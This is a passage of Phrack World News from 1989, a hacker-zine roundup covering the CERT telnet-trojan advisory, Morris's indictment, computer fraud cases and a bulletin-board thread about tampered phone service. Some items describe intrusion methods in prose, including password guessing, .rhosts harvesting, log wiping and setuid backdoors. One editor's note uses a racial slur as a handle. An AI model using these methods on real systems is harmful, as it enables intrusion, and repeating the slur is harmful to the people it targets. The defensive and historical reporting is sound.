
"Pacific Bell Means Business" (10/06/88) PWN XXI. . .Part 1 "Dangerous Hacker Is Captured" (No Date ) PWN XXII . .Part 1 "Ex‑Computer Whiz Kid Held On New Fraud Counts" (12/16/88) PWN XXII . .Part 1 "Dangerous Keyboard Artist" (12/20/88) PWN XXII . .Part 1 "Armed With A Keyboard And Considered Dangerous" (12/28/88) PWN XXIII. .Part 1 "Dark Side Hacker Seen As Electronic Terrorist" (01/08/89) PWN XXIII. .Part 1 "Mitnick Plea Bargains" (03/16/89) PWN XXV. . .Part 1 "Mitnick Plea Bargain Rejected As Too Lenient" (04/25/89) PWN XXVII. .Part 1 "Computer Hacker Working On Another Plea Bargain" (05/06/89) PWN XXVII. .Part 1

"Mitnick Update" (05/10/89) PWN XXVII. .Part 1

"Kenneth Siani Speaks Out About Kevin Mitnick" (05/23/89) PWN XXVII. .Part 1

________________________________________

BITNET/CSNET Announce Merger and Formation of CREN August 18, 1989

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~Washington, DC

‑‑ Two of the nation's leading academic and research computer networks announced today that final steps are being taken to

merge their organizations.

Ira Fuchs, President of BITNET, and Bernard Galler, Chairman of CSNET, jointly reported that the two networks, which together include 600 colleges, universities, government agencies, and private sector research organizations, will unite to form the Corporation for Research and Educational Networking, CREN.

Galler, a Professor of Electrical Engineering and Computer

Science at the University of Michigan, commented: "The aims of CSNET and BITNET ‑‑ to support and promote the use of computer networks on campuses and within research organizations ‑‑ have converged over the last several years. We believe that by bringing these two networks into a single organization, we will

be able to provide better service to our network users and more effectively participate in the fast‑changing national network environment."

Fuchs, Vice President for Computing and Information Technology at Princeton University, sees the move as a strengthening factor: "The need for campus networks and the introduction of new technology make it necessary to build a common base of network services using the most progressive technology available. By eliminating overlap between our two organizations, we will

become more efficient, and more importantly, we can take a stronger role in the the formation of the national education and research network. We can achieve this goal faster and at lower cost by leveraging the efforts of the two major academic networking organizations."

The merger of CSNET and BITNET has been studied for more than a year by a planning group consisting of representatives from both networks. CSNET currently lists 145 institutional and corporate members, and BITNET 480 members. Together, the two networks

cover all 50 states and 32 foreign countries, including Japan, Brazil, Mexico, and Argentina. Both maintain gateways to EARN (European Academic Research Network), NetNorth (Canada), and the National Internet.

The planning group's recommendations to merge were approved by

the BITNET, Inc. Trustees and the Directors of the University Corporation for Atmospheric Research, operators of CSNET for the last five years. An information packet on the merger is being mailed to all members of both networks this week, with a ballot for BITNET members, who must approve the final legal steps under the provisions of BITNET By‑Laws. In an advisory vote last winter, BITNET members approved the merger in principle by more than 90% of those voting.

A gradual transition period is planned to bring together CSNET

and BITNET services. CREN plans to continue use of EDUCOM and Bolt, Beranek and Newman (BBN) to provide technical and general management services to its members.

EDUCOM President Kenneth M. King commented, "We are entering a particularly challenging period in the creation of an advanced national network infrastructure for research and education. CREN will play a major role in the future of these computer networks, which are becoming more and more important to the conduct of research and the quality of education. EDUCOM is pleased to have an opportunity to support the services and activities of CREN. "

Frank Heart, Senior Vice President, BBN Systems and Technologies Corporation, said, "In keeping with its long involvement in the development of networking technologies, BBN is pleased to play a major supporting role in the evolution of BITNET and CSNET."

The proposed CREN Board includes Fuchs and Galler;

Douglas Bigelow. . . . . Wesleyan University

William Curtis . . . . . University Corporation for Atmospheric Research David Farber . . . . . . University of Pennsylvania

Suzanne Johnson. . . . . INTEL Corporation

Mark Laubach . . . . . . Hewlett‑Packard Corporation

Philip Long. . . . . . . Yale University

Dennis Ritchie . . . . . AT&T Bell Laboratories

Martin Solomon . . . . . University of South Carolina

Douglas Van Houweling. . University of Michigan

William Yundt. . . . . . Stanford University

For more information, contact

Corporation for Research and Educational Networking

Suite 600

1112 16th Street NW

Washington, DC 20036

(202) 872‑4215

[Obviously they decided not to call it ONEnet ‑‑KL]

________________________________________

CERT Internet Security Advisory August 16, 1989

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

>From Kenneth R. van Wyk

Many computers connected to the Internet have recently

experienced unauthorized system activity. Investigation shows that the activity has occurred for several months and is spreading. Several UNIX computers have had their "telnet" programs illicitly replaced with versions of "telnet" which log outgoing login sessions (including usernames and passwords to remote systems). It appears that access has been gained to many of the machines which have appeared in some of these session

logs. (As a first step, frequent telnet users should change

their passwords immediately.) While there is no cause for panic, there are a number of things that system administrators can do to detect whether the security on their machines has been

compromised using this approach and to tighten security on their systems where necessary. At a minimum, all UNIX site administrators should do the following:

o Test telnet for unauthorized changes by using the UNIX "strings" command to search for path/filenames of possible log files. Affected sites have noticed that their telnet programs were logging information in user accounts under directory names such as "..." and ".mail".

In general, we suggest that site administrators be attentive to configuration management issues. These include the following:

o Test authenticity of critical programs ‑ Any program with access to the network (e.g., the TCP/IP suite) or with access to usernames and passwords should be periodically tested for unauthorized changes. Such a test can be done by comparing checksums of on‑line copies of these programs to checksums of original copies. (Checksums can be calculated with the UNIX "sum" command.) Alternatively, these programs can be periodically reloaded from original tapes.

o Privileged programs ‑ Programs that grant privileges to users (e.g., setuid root programs/shells in UNIX) can be exploited to gain unrestricted access to systems. System administrators should watch for such programs being placed in places such as /tmp and /usr/tmp (on UNIX systems). A common malicious practice is to place a setuid shell (sh or csh) in the /tmp directory, thus creating a "back door" whereby any user can gain privileged system access.

o Monitor system logs ‑ System access logs should be periodically scanned (e.g., via UNIX "last" command) for suspicious or unlikely system activity.

o Terminal servers ‑ Terminal servers with unrestricted network access (that is, terminal servers which allow users to connect to and from any system on the Internet) are frequently used to camouflage network connections, making it difficult to track unauthorized activity. Most popular terminal servers can be configured to restrict network access to and from local hosts.

o Passwords ‑ Guest accounts and accounts with trivial passwords (e.g., username=password, password=none) are common targets. System administrators should make sure that all accounts are password protected and encourage users to use acceptable passwords as well as to change their passwords periodically, as a general practice. For more information on passwords, see Federal Information Processing Standard Publication (FIPS PUB) 112, available from the National Technical Information Service, U.S. Department of Commerce, Springfield, VA 22161.

o Anonymous file transfer ‑ Unrestricted file transfer access to a system can be exploited to obtain sensitive files such as the UNIX /etc/passwd file. If used, TFTP (Trivial File Transfer Protocol ‑ which requires no username/password authentication) should always be configured to run as a non‑privileged user and "chroot" to a file structure where the remote user cannot transfer the system /etc/passwd file. Anonymous FTP, too, should not allow the remote user to access this file, or any other critical system file. Configuring these facilities to "chroot" limits file access to a localized directory structure.

o Apply fixes ‑ Many of the old "holes" in UNIX have been closed. Check with your vendor and install all of the latest fixes.

If system administrators do discover any unauthorized system activity, they are urged to contact the Computer Emergency Response Team (CERT).

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

‑ ‑ ‑ ‑ ‑ ‑ ‑

Internet Cracker On The Loose: Who Is He?

October 2, 1989 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~There

is a cracker on the loose in the Internet. This is the information made public so far. Traces of the cracker were found at the Institute for Advanced Studies in Princeton. He also left traces at one of the Super computer centers. Both CERT and the FBI have been called.

The technique that is being used is as follows:

1) He has a modified telnet that tries a list passwords on accounts. Username forwards and backwards, username + pw, etc.

2) He seems to have a program call "ret", that is breaking into root.

3) He seems to be getting a list of victim machines via people's .rhosts files.

4) He copies password files to the machines that he is currently working from.

5) He is good about cleaning up after himself. He zeros out log files and other traces of himself.

6) The breakins are occurring between 10 PM Sunday nights and 8 AM Monday mornings.

7) He seems to bring along a text file of security holes to the machines he breaks into.

8) Backtracing the network connections seem to point to the Boston area as a base of operations.

The system administrator at IAS found a directory with the name ".. " (dot dot space space). The files mentioned above were found in this directory.

________________________________________

Worried Firms Pay Hush Money To "Hackers" June 12, 1989

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

By Richard Caseby (London Times)

"Are London Firms Offering Amnesty To Hacker Thieves?"

Firms in the City of London are buying the silence of hackers who break into their computers and steal millions of pounds.

At least six London firms have signed agreements with criminals, offering them amnesty if they return part of the money. The

firms fear that if they prosecute they will lose business when customers learn that their computer security is flawed.

In several of the case the losses exceeded 1 million pounds, but only a tenth of the total was returned.

The Computer Industry Research Unit (CIRU) which uncovered the deals and which is advising the Department of Trade and Industry in data security, believes the practice of offering amnesties is widespread.

"Companies who feel vulnerable are running scared by agreeing to these immoral deals. Their selfishness is storing up serious problems for everyone else," said Peter Nancarrow, a senior consultant.

Police have warned that deals struck with criminals could

possibly lead to an employer being prosecuted for perverting the course of justice.

Detective Inspector John Austin, of Scotland Yard's computer

fraud squad, said, "Employers could find themselves in very deep water by such strenuous efforts to protect the credibility of their image."

Legal experts say the firms are making use of section five of the Criminal Law Act 1967 which allows them to keep silent on crimes and privately agree on compensation. However, an employer

becomes a witness to the offense by taking evidence from a criminal when the deal is drawn up.

Hackers steal by electronically transferring funds or by programming a computer to round off all transactions by a tiny amount and diverting the money to a separate account.

In one case, an assistant programmer at a merchant bank diverted

8 million pounds to a Swiss bank account and then gave back 7 million in return for a non‑disclosure agreement protecting him against prosecution.

Such thefts have spread alarm throughout London, with consultants offering to penetrate the computer networks of banks and finance houses to pinpoint loopholes before a hacker does.

The biggest contracts cost up to 50,000 pounds and can involve a four month investigation in which every weakness is explored.

Detectives have found that computer security at many London institutions is riddled with loopholes. A city of London police operation, codenamed Comcheck, revealed wide spread weaknesses. Firms were asked to track the number of unauthorized logons over Easter bank holiday.

Some companies unable to tell whether hackers had penetrated

their network, while others lacked any security defenses.

In addition to theft, companies are vulnerable to blackmail. Hackers can threaten to sabotage computers by inserting "viruses" and "logic bombs" ‑‑rogue programs which can paralyze a system.

This type of threat has prompted the offer of a new insurance policy underwritten by Lloyd's which specifically covers viruses and other computer catastrophes.

Phrack World News XXVIII Part 2

==Phrack Inc.==

Volume Three, Issue 28, File #10 of 12

PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN

PWN PWN

PWN P h r a c k W o r l d N e w s PWN

PWN ~~~~~~~~~~~ ~~~~~~~~~ ~~~~~~PWN

PWN Issue XXVIII/Part 2 PWN

PWN PWN

PWN October 7, 1989 PWN

PWN PWN

PWN Created, Written, and Edited PWN PWN by Knight Lightning PWN

PWN PWN

PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN

Grand Jury Indicts Student For Crippling Nationwide Computer Network 7/26/89

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

by John Markoff (New York Times)

After more than eight months of delay, the Justice Department said Wednesday that a federal grand jury in Syracuse, N.Y., had indicted the 24‑year‑old Cornell University graduate student who has been blamed for crippling a nationwide computer network with a rogue software program.

The student, Robert Tappan Morris, was charged with a single felony count under a 1986 computer crimes law, the Computer Fraud and Abuse Act. Justice Department officials said the indictment was the first under a provision of the law that makes it illegal to gain unauthorized access to federal computers.

A spokesman for the Justice Department said Wednesday that the indictment had been delayed simply because of the time taken to develop evidence.

But legal experts familiar with the case said the department had been stalled in efforts to prosecute Morris because of an internal debate over whether it might be impossible to prove the charges. Under the 1986 law, prosecutors must show that Morris intended to cripple the computer network.

As a result of this concern, the U.S. attorney in Syracuse, Frederick J. Scullin Jr., had considered a plea bargain in which Morris would have pleaded guilty to a misdemeanor charge. This approach was apparently resisted, however, by Scullin's superiors in Washington, who wanted to send a clear signal about the seriousness of computer crime.

Three bills now pending before Congress would make it easier than with the 1986 law to prosecute malicious invasion of computer systems.

The indictment charges that Morris was the author of a computer program that swept through a national network composed of more than 60,000 computers November 2, 1988 jamming as many as 6,000 machines at universities, research centers and military installations.

The software, which computer hackers call a "virus," was supposed to hide silently in the computer network, two of Morris' college friends said, but because of a programming error it multiplied wildly out of control. The friends said Morris' idea had been to simply to prove that he could bypass the security protection of the network.

According to Wednesday's indictment, Morris gained unauthorized access to computers at the National Aeronautics and Space Administration's Ames Research Center in Moffett Field, California; the U.S. Air Force Logistics Command at Wright Patterson Air Force Base in Dayton, Ohio; the University of California at Berkeley, and Purdue University.

The indictment charges that the program shut down numerous computers and prevented their use. It charges Morris with causing "substantial damage" at many computer centers resulting from the loss of service and the expense incurred diagnosing the program.

The felony count carries a maximum penalty of five years in prison and a fine of $250,000, in addition to which the convicted person can be ordered to pay restitution to those affected by his program.

Morris' lawyer, Thomas A. Guidoboni, said his client intended to plead not guilty. Morris, who now lives in the Boston area, was scheduled to be arraigned on Wednesday, August 2, before Gustave J. DiBianco, a U.S. magistrate in Syracuse.

Morris' father, Robert, the chief scientist for the National Security Agency, said the family planned to stand behind their son. "We're distressed to hear of the indictment," he said.

After realizing that his program had run amok, Morris went to his family home in Arnold, Maryland, and later met with Justice Department officials.

The 1986 law was the first broad federal attempt to address the problem of computer crime. Morris is charged with gaining unauthorized access to computers, preventing authorized access by others and causing more than $1,000 in damage.

The incident raised fundamental questions about the security of the nation's computers and renewed debate over the who should be responsible for protecting the nation's non‑military computer systems.

Last year Congress settled a debate between the National Security Agency and the National Institute of Standards and Technology by giving authority over non‑military systems to the civilian agency.

Last week, however, a General Accounting Office report based on an investigation of the incident recommended that the Office of Science and Technology Policy coordinate the establishment of an interagency group to address computer network security.

The incident has also bitterly divided computer scientists and computer security experts around the country. Some have said they believe that "an example" should be made of Morris to discourage future tampering with computer networks.

Others, however, have argued that Morris performed a valuable service by alerting the nation to the laxity of computer security controls.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Other articles about Robert Tappan Morris, Jr. and the Internet Worm are;

"Computer Network Disrupted By 'Virus'" (11/03/88) PWN XXII ‑Part 2

"Virus Attack" (11/06/88) PWN XXII ‑Part 2

"The Computer Jam: How It Came About" (11/08/88) PWN XXII ‑Part 2 "US Is Moving To Restrict {...} Virus" (11/11/88) PWN XXII ‑Part 2 * "FBI Studies Possible Charges In Virus" (11/12/88) PWN XXII ‑Part 2 "Big Guns Take Aim At Virus" (11/21/88) PWN XXII ‑Part 3 "Congressman Plan Hearings On Virus" (11/27/88) PWN XXII ‑Part 3 "Pentagon Severs Military {...} Virus" (11/30/88) PWN XXII ‑Part 3 * "Networks Of Computers At Risk From Invaders" (12/03/88) PWN XXII ‑Part 4 * "Computer Virus Eradication Act of 1988" (12/05/88) PWN XXII ‑Part 4 * "Breaking Into Computers {...}, Pure and Simple" (12/04/88) PWN XXIV ‑Part 1 * "Cornell Panel Concludes Morris {...} Virus" (04/06/89) PWN XXVI ‑Part 1 "Robert T. Morris Suspended From Cornell" (05/25/89) PWN XXVII ‑Part 2 "Justice Department Wary In Computer Case" (05/28/89) PWN XXVII ‑Part 2

* ‑ Indicates that the article was not directly related to Robert Morris, but did discuss him as well as the Internet Worm incident.

________________________________________

The Free World Incident July 5, 1989

~~~~~~~~~~~~~~~~~~~~~~~

Special Thanks to Brew Associates of Phortune 500

[Some articles edited for this presentation ‑‑KL]

Numb: 84 of 98 7/2/89 at 8:56 pm

Subj: ...

Sect: General Messages

From: Major Havoc

Here is the story...

Evidently, someone got into Chesapeake & Potomac's (C&P) computer systems, and added call forwarding to the telephone line that the Free World is being run on. It was not done through social engineering, because there was not an order pending on my line. Therefore, I had "free" call waiting on my line.

What the individual who did this does not realize is that service cannot be changed on my line unless it is typical service, because because my father is a retired VP from C&P.

The phone lines at this location are paid for by C&P, so the only way that the service on these lines could have been changed is directly via the C&P computer systems. I had a long talk with C&P security, and they know who the individual was that made the changes in the system. My parents (since I do not even really live here anymore) are supposed to be signing papers that will have this individual prosecuted sometime next week, because he was foolish enough to leave something for them to track down.

My guess is that it was someone who was denied access to the system that has some type of grudge to hold or something. I will have the pleasure of seeing this individual serve time, if they are not a minor.

C&P Security questioned me in person and asked me if I had any information on different incidents concerning central office burglaries or theft of C&P property. Some of you may be getting a BIG surprise REAL soon.

The bottom line is that I am not going to put up with this hassle much longer. The mere fact that I am under possible investigation for something that I am not involved with is really starting to get me upset. I am 20 years old, and I have a nice 32K salary job, and I am not going to tolerate these situations any longer. I have been doing this for so long, that it is about time that I got some kind of recognition, and not more grief from a bunch of worthless Christmas modemers.

Shape up or pay the consequences.

Major Havoc

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Numb: 86 of 98 7/2/89 at 11:54 pm

Subj: Hmm..

Sect: General Messages

From: Weatherman

I would do the same thing. If some guy thinks he is being really slick and does something like that just to cause trouble, they deserve a rude awakening to real life. Keep us posted on the situation. I can see your point as to your job and age and everything since I am in the same boat. I am not going to sacrifice my future life for any reason. Unfortunately, I don't make 32k yet.

eatherman

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Numb: 87 of 98 7/3/89 at 12:07 pm

Subj: Umm...

Sect: General Messages

From: Lost Carrier

Major Havoc ‑‑ The only part of your message I am concerned about is "I had a long talk with C&P security and a lot of you will be in for a big surpirse," or something to that effect. I hate surprises. Which of us? heh.

LC, 2af

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Numb: 89 of 98 7/3/89 at 4:03 pm

Subj: ....

Sect: General Messages

From: Raving Lunatic

I am shocked. Major Havoc turning people in? About time, I guess it takes income and responsibilities for most geeks to grow up and I am glad Havoc is not going to tolerate it. Would be interesting to at least hear the alias(es) of the people/person that did the forwarding.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Numb: 90 of 98 7/3/89 at 5:03 pm

Subj: I find this interesting...

Sect: General Messages

From: The Mechanic

I have seen Major Havoc post several messages recently (both here [The Free World bulletin board] and elsewhere) on the topic of telephone security. While it was not explicitly mentioned, it was implied that some activities discussed might not be entirely legal. In fact, there is a logon message encouraging users to post as much as possible, as well as upload and download software, including software that may be copyrighted. Now we see a message from MHavoc that some of us may be looking forward to "BIG Surprises." I do not know about you, but I'm going to think twice before I post *anything* to this system, at least until I am assured that material on this board is not being monitored by C&P personnel.

I think that if MHavoc wants this system to go anywhere, he is going to have to *prove* to us that he is not going to be narcing on people as a result of what they post.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Numb: 91 of 98 7/3/89 at 5:23 pm

Subj: ...

Sect: General Messages

From: Major Havoc

The information was not supplied by myself. It was information that was read to me by C&P security people. I stood there plainly denying that I even knew what a modem was.

The bottom line is that you do not have to worry about me. You need to worry about the information that they already have. They merely asked me if I knew anything about it. Of course I did not...seriously, I don't even know.

Major Havoc

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Numb: 93 of 98 7/3/89 at 8:29 pm

Subj: ...

Sect: General Messages

From: Juan Valdez

I am sure Major Havoc cannot reveal the name of the person who did it, since he is under investigation, it would make matters more difficult to make his name public. I am sure we'd all like to know maybe after everything is all done with. This thing about C&P cracking down scares me. I know that I have not done anything like what you mentioned and I am not connected to anything directly as far as I know. Now you are getting me paranoid.

Mike

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Numb: 94 of 98 7/3/89 at 9:31 pm

Subj: Hmm...

Sect: General Messages

From: Mr. Mystery

When it becomes possible, please post his name, and, more importantly, the date of his court appearance. Might be worth watching.

MR. MYSTERY

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Numb: 95 of 98 7/3/89 at 11:10 pm

Subj: That

Sect: General Messages

From: The Killer

Is he a local or just an upset user. What sort of stuff was the phone company upset about? Phreakers or people tampering with their equipment? That is pretty messed up.

So long as my ass is clean, I really hope you get the idiot. I

am curious ‑‑Is he a phone company employee? How did he get into the system?

[Killer/USAlliance] ‑ FW:301/486‑4515

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Numb: 96 of 98 7/4/89 at 2:26 am

Subj: Things.........

Sect: General Messages

From: Hellraiser

Would I be correct to assume that this board is completely "private." At any rate, I would be interested in knowing who

this person causing the disturbance is/was (drop a hint).

Numb: 97 of 98 7/4/89 at 6:33 pm

Subj: Jesus...

Sect: General Messages

From: The Disk Jockey

Geez... Someone learns a few LMOS commands and they seem obsessed with doing stupid things.

I have absolutely no idea why people would act wary towards

Havoc, I am sure that I and anyone else who ran a board would, given the chance, burn the person disrupting the system. What

the hell did you think? Havoc should just let it slide? I think not. People like that (doers of such cute call forwarding

things) should be screwed. They are the people that give you a bad reputation.

The Disk Jockey

I hope he gets nailed, I just find it hard to believe that he

left any information that could lead back to him, as someone who was at least smart enough to get into an LMOS or equivalent could have at least some common sense, but I suppose his acts dictate otherwise.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Numb: 98 of 98 7/4/89 at 7:21 pm

Subj: Well...

Sect: General Messages

From: Microchip

When it was on interchat, it said Major Havoc was fed up and it was going to do this until we all calmed down

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

For those who never found out, the perpetrator of the call forwarding was none other than SuperNigger (who is also responsible for crashing Black Ice). There never was any solid proof that could be used and any comments about him leaving a trail to follow back to him were bluffs. ‑KL

________________________________________

Conman Loses Prison Phone Privileges September 23, 1989

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

About a year ago there was a plot to steal $69 million from the First National Bank of Chicago through a fraudulent wire‑transfer scheme masterminded by a man named Armand Moore. Using the telephone and a computer ‑‑ the tools of his trade, Mr. Moore planned to transfer money from the accounts of corporate

customers at First National to his account in Switzerland.

He needed some inside help to bring it off, and he found two

young guys in the wire transfer room at the bank who were willing to help. Both of the clerks were fellows in their early

twenties, who had worked for the bank a couple years each. Both had come from families living in a ghetto neighborhood on the south side of Chicago; but their families had raised them to be honest. Both had been average high school students; neither had any previous criminal record of any sort; both had been given a break by an employer who treated them fairly and allowed them to rise to positions of trust: handling huge sums of money ‑‑about

a hundred million dollars a day ‑‑ in the wire‑transfer unit at the bank. Both showed great promise; then Armand Moore came along.

Moore wined and dined these two kids; showed them the best of times and what it was like to have a fancy apartment in a wealthy neighborhood instead of living with your parents in an inner‑city ghetto. Its not that they weren't guilty ‑‑after all, they did provide the secret passwords and phrases which bank employees say to one another on the telephone, and they did press the buttons which sent $69 million dollars on its way to Europe ‑‑ but they would not have done it if Armand Moore had not been there.

So instead of a career at the bank, the guys exchanged it for an indictment for bank fraud; loss of their jobs; humiliation for themselves and their families; and the right to say "convicted of bank fraud" on future job applications. Naturally, they are blacklisted in the banking and computer industries for the rest

of their lives. One of the guys said Armand had promised to give him money to buy his mother a new coat.

The job at First National was bungled as we all know, two young guys had their lives ruined, and the court took all this into consideration when Armand Moore was sentenced to ten years in prison last June. But as Paul Harvey would say, "...then there

is the rest of the story...."

It seems Armand Moore was no stranger to bank fraud. He had previously pulled a couple of smaller jobs, using a telephone and a computer to net about a million dollars from two banks in the Detroit area. The FBI had not previously connected him with

those jobs. He had this money stashed away, waiting for him when he got released from prison, which in this latest scheme, would

be a lot sooner than the government expected.

Mr. Moore is the sort of fellow who could sell the proverbial ice‑box to an Eskimo... or a newspaper subscription to a blind man... he can get anybody to do anything it seems... by flirting with them, showering them with attention, and if necessary, just bribing them. Now two more lives have been ruined by Armand Moore, and his only regret is he got caught.

Since his trial in June, Armand Moore has been a guest of the government at the federal penitentiary in downtown Chicago. As a long term resident, he's gotten to know a lot of the folks, including the employees of the prison. In particular, he got to be very good friends with Randy W. Glass, age 28, an employee of the prison in the computer facility there. Glass' duties include entering data into the prison computer about the inmates, their sentences and other data. Oh... is the story becoming clearer now?

Glass and his wife live in Harvey, IL, a middle class suburb on the south side of Chicago. It seems like so many other people

who meet Armand Moore, Glass enjoyed the company of this older, very sophisticated and friendly chap. After several meetings in the past three months, Glass was finally seduced by Moore's

money, like everyone else who meets him. That, plus his pleasant manners, his smooth conversation and his assurance that nothing could go wrong led to Glass finally agreeing to accept a $70,000 bribe in exchange for punching a few buttons on the computer to show Armand Moore's sentence was complete; him and a couple other inmates who were sharing the same room at the prison. Just

change a few details, punch a few buttons ‑‑ and to be on the

safe side, do it from home with your modem and terminal, using

the Warden's password which I just happen to have and will give

to you in exchange for your cooperation.

$70,000 was hard to resist. But Glass was a prudent man, and he asked what guarantee would he have of payment once Armand Moore was released. After all, hadn't he promised those fellows at the bank all sorts of things and then tried to skip town immediately when he thought the transfer had gone through? He would even cheat his fellow crooks, wouldn't he?

Moore offered a $20,000 "down payment" to show his intentions. A confederate outside the prison would meet Glass' wife and give

her the money. Then the job would be done, and following Moore's untimely release from the joint, the rest would be paid. The

deal was made, alleges the government, and Armand Moore used a

pay phone at the prison that day to call his stepsister and have her arrange to meet Mrs. Glass. The money would be exchanged; Glass was off two days later and would make the necessary "adjustments" from his home computer; the prison roll would reflect this on the next morning's roster of prisoners with the notation "Time Served/Release Today." They would meet that evening and exchange the rest of the money.

All telephones at the prison, including the public pay phones,

are subject to monitoring. A sign on each pay phone advises that "your call may be monitored by an employee authorized to do so." The FBI alleges that recordings were made of Moore on the phone telling his stepsister that she should "...work with Randy, a person affiliated with the law..." and that she would meet Mrs. Glass the next day. With a court ordered tap obtained a few minutes later, the FBI heard Stephanie Glass agree to meet

Moore's stepsister at 5:45 AM the next morning in a parking lot

in Richton Park, IL.

At the appointed time the next morning, the two cars met in the parking lot, and the FBI alleges the one woman handed the other a package containing $20,000 in cash. The FBI videotaped the meeting and waited until Mrs. Glass had driven away. They followed her home, and arrested her at that time. Randy Glass

was arrested at the prison when he arrived for work about an hour later. Armand Moore was arrested in his cell at the prison once Glass had been taken into custody. To do it the other way around might have caused Glass to get tipped off and run away.

On Thursday, September 21, 1989 Mr. & Mrs. Glass and Armand Moore appeared before United States Magistrate Joan Lefkow for arraignment and finding of probable cause. Finding probable cause, she ordered all three held without bail at the prison

until their trial. Randy Glass is now, so to speak, on the wrong side of the bars at the place where he used to work. He was suspended without pay at the time of his arrest.

At the hearing, Magistrate Lefkow directed some particularly acid comments to Mr. Moore, noting that he was forbidden to ever use the telephone again for any reason for the duration of his confinement, and was forbidden to ever be in the vicinity of the computer room for any reason, also for the duration.

She noted, "...it seems to me you continue to seek the conspiracy's objectives by using the telephone, and convincing others to manipulate the computer..." you stand here today and show no remorse whatsoever except that you were caught once

again. Your prison record notes that on two occasions, prison staff have observed you using the telephone and "...pressing the touchtone buttons in a peculiar way during the call..." and that you were counseled to stop doing it. I will tell you now sir

that you are not to use the telephone for any reason for the remainder of your current sentence. I find probable cause to

hold you over for trial on the charge of bribery of a government employee. Stay away from the phones and computers at the prison Mr. Moore!"

Like Gabriel Taylor at the First National Bank, neither Randy Glass or his wife had any prior arrest record or conviction. In

a foolish moment of greed, spurred on by a friendly fellow who Randy really enjoyed talking to "...because he was so smart and well‑educated..." they now get to face prison and the loss of everything in their lives. When all three were leaving the courtroom Thursday, Armand Moore snickered and smiled at the audience. He'll find other suckers soon enough.

Phrack World News XXVIII Part 3

==Phrack Inc.==

Volume Three, Issue 28, File #11 of 12

PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN

PWN PWN

PWN P h r a c k W o r l d N e w s PWN

PWN ~~~~~~~~~~~ ~~~~~~~~~ ~~~~~~PWN

PWN Issue XXVIII/Part 3 PWN

PWN PWN

PWN October 7, 1989 PWN

PWN PWN

PWN Created, Written, and Edited PWN PWN by Knight Lightning PWN

PWN PWN

PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN

FCC Orders Radio Station To Stop Phone Pranks August 30, 1989

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

The Federal Communications Commission has slapped Chicago radio station WLUP‑AM (1000) and WLUP‑FM (97.9) with a $5000 fine and threatened to pull their license for illegally broadcasting phone calls to "unsuspecting individuals."

The FCC specifically cited "willful behavior and repeated violations of its policy that recipients of phone calls from

radio stations must be informed in advance ‑‑ and on the air at the start of the call ‑‑ that they are being broadcast."

In particular, the FCC noted that morning host Jonathon

Brandmeier and mid‑day host Kevin Matthews were in frequent violation of this rule.

Scott G. Ginsberg, president and chief executive officer of Evergreen Media Corporation, parent company and license holder

for WLUP confirmed that his company had paid the $5000 fine without protest for illegally broadcasting phone calls. He compared this punishment to receiving a traffic ticket.

Both Brandmeier and Matthews enjoy harassing people on the phone, and broadcasting the reaction of their victims over the air. One of the calls placed by Matthews involved him posing as a police officer. He called a funeral home and spoke to the widow of a

man who died the day before. He told her that her niece and nephew, who were scheduled to come to the funeral home later that day to help with burial arrangements had been arrested. The

widow was not amused. She filed suit against WLUP and Matthews.

Brandmeier likes to harass celebrities by managing to find their unlisted home phone numbers and call them at 6:30 or 7:00 AM when his show goes on the air. He also pulls phone scams including sending unwanted food orders; calling employers to provide

excuses for employees who won't be at work that day, and similar. Always broadcasting the calls on the air, of course.

But it was the call to the grieving widow at the funeral home which got the FCC livid. The Commission contacted the station that day, and an Enforcement Officer threatened to put the

station off the air that day ‑‑ in a matter of minutes when he could get the order signed.

After some discussion, WLUP was permitted to continue broadcasting, but a memo was circulated to all employees warning that effective immediately, any violation of the phone rules

would lead to immediate termination.

